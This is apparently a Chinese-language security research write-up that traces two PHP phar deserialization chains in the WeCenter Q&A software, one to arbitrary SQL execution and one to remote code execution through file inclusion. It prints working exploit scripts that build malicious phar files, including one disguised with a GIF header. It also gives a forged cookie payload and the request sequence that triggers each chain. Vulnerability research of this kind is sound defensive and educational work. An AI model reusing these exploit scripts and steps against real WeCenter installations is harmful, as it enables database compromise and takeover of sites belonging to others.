第一個方式:反序列化挖掘任意SQL語句執行
先 system/aws_model.inc.php 文件中 _shutdown_query 為可控點,並且query直接進行SQL語句,這里可以直接想到嘗試利用反序列化進行利用
public function __destruct()
{
$this->master();
foreach ($this->_shutdown_query AS $key => $query) // _shutdown_query可控點
{
$this->query($query); //無過濾進行執行SQL語句
}
}
尋找phar反序列化觸發的函數
models/account.php
<?php
public function associate_remote_avatar($uid, $headimgurl){// 需要尋找$headimgurl可控的地方
if (!$headimgurl){
return false;
}
if (!$user_info = $this->get_user_info_by_uid($uid)){
return false;
}
if ($user_info['avatar_file']){
return false;
}
if (!$avatar_stream = file_get_contents($headimgurl)){ //這個地方能夠進行觸發phar反序列化
return false;
}
...
app/account/ajax.php 中 調用了associate_remote_avatar函數
public function synch_img_action(){
$users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000);
foreach ($users as $key => $value) {
$wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL'); // 在users_weixin表中進行取出,條件是:函數將沒有頭像並且存在headimgurl字段的用戶
if($wxuser){
$this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']);
}
}
}
尋找關於users_weixin的數據庫的插入操作
models/openid/weixin/weixin.php 中調用了 bind_account函數,對用戶的信息進行寫入users_weixin中
<?php
public function bind_account($access_user, $access_token, $uid, $is_ajax = false){
if (! $access_user['nickname']){
if ($is_ajax){
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('與微信通信出錯, 請重新登錄')));
}else{
H::redirect_msg(AWS_APP::lang()->_t('與微信通信出錯, 請重新登錄'));
}
}
if ($openid_info = $this->get_user_info_by_uid($uid)){
if ($openid_info['opendid'] != $access_user['openid']) {
if ($is_ajax){
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信賬號已經被其他賬號綁定')));
}else{
H::redirect_msg(AWS_APP::lang()->_t('微信賬號已經被其他賬號綁定'));
}
}
return true;
}
$this->insert('users_weixin', array(
'uid' => intval($uid),
'openid' => $access_token['openid'],
'expires_in' => (time() + $access_token['expires_in']),
'access_token' => $access_token['access_token'],
'refresh_token' => $access_token['refresh_token'],
'scope' => $access_token['scope'],
'headimgurl' => $access_user['headimgurl'],
'nickname' => $access_user['nickname'],
'sex' => $access_user['sex'],
'province' => $access_user['province'],
'city' => $access_user['city'],
'country' => $access_user['country'],
'add_time' => time()
));
return true;
}
全局搜索 bind_account 函數的調用
app/m/weixin.php
<?php
public function binding_action(){
if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){
$WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); // _WXConnect是Cookie中進行的,那么_WXConnect為可控 導致 $WXConnect 同樣可控!
}
if ($WXConnect['access_token']['openid']){
$this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id); // 這里進行了調用
HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);
if ($_GET['redirect']){
HTTP::redirect(base64_decode($_GET['redirect']));
}else{
H::redirect_msg(AWS_APP::lang()->_t('綁定微信成功'), '/m/');
}
}else{
H::redirect_msg('授權失敗, 請返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
}
}
漏洞EXP:
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
}
}
$a = new AWS_MODEL;
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
?>
復現:
1、首先先上傳phar格式的gif文件
2、然后設置指定的 wys__WXConnect
Cookie,進行綁定信息 訪問`/?/m/weixin/binding/
$arr = array();
$arr['access_token'] = array('openid' => '3');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 3;
$arr['access_user']['nickname'] = 'admin';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200413/07b79296630214ae808f5f888da82fff.gif';
echo json_encode($arr);
3、最后再訪問/?/account/ajax/synch_img/
來觸發phar反序列化
第二個方式:反序列化挖掘前台RCE
全局搜索function __toString(
嘗試找到可利用的點,system/Savant3.php中
跟進 getOutput 方法
繼續跟fetch方法
跟到 template 方法中
跟進findFile方法中,發現$path . $file
兩個變量進行了拼接,並且如果文件存在的話 則進行返回
最后拼接的內容 返回到 fetch 方法中,進行文件包含
這里可以進行控制的 __config[$type . '_path'] __config['template'] 兩個屬性
那么就是如果能再找到觸發該類Savant3中的__toString方法的話 那么就可以進行任意代碼執行了
繼續全局搜索function __destruct(
是否存在觸發任意類的__toString條件
system/Zend/Mail/Protocol/Imap.php 中 存在
class Zend_Mail_Protocol_Imap
{
........
public function __destruct()
{
$this->logout();
}
........
}
一直跟 發現 sendRequest方法進行了拼接字符串,從而導致可以進行__toString觸發,++操作符對對象類型無影響,這里的話 $this->_tagCount 能夠控制!
漏洞EXP:
<?php
class Savant3{
protected $__config = array();
function __construct(){
$this->__config['template'] = '81f8ed3cbc7fe76fc7b18e28108316b9.jpg'; //嘗試被包含的上傳文件
$this->__config['template_path'] = array("/Applications/MAMP/htdocs/test/wecenter/uploads/question/20200122/"); //要被包含的路徑 二者進行拼接
}
}
class Zend_Mail_Protocol_Imap{
protected $_socket;
protected $_tagCount;
function __construct()
{
$this->_socket = 'a';
$this->_tagCount = new Savant3();
}
}
$obj = new Zend_Mail_Protocol_Imap();
$filename = "exp.phar";
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setMetadata($obj);
$phar->addFromString("a","b");
$phar->stopBuffering();
?>
phar觸發點跟上面還是一樣的!
另一處觸發Savant3類的__toString的方法,跟一次酒館師傅的,同樣是字符串拼接觸發的,他文章中還有一處是自己挖的類似的RCE觸發,就不寫了
這里就記錄一處POP鏈
這里同樣是搜索全局function __destruct(
system/Zend/Mail/Transport/Smtp.php 文件中的 __destruct
還有一處同樣也是,參考文章:https://www.cnblogs.com/xiaozhiru/p/12345450.html
總結:現在跟起來挺輕松理解的,自己嘗試挖起來還需要耐心觀察
參考文章:https://xz.aliyun.com/t/7077
參考文章:http://www.yulegeyu.com/2020/01/22/WECENTER-反序列任意文件包含利用鏈/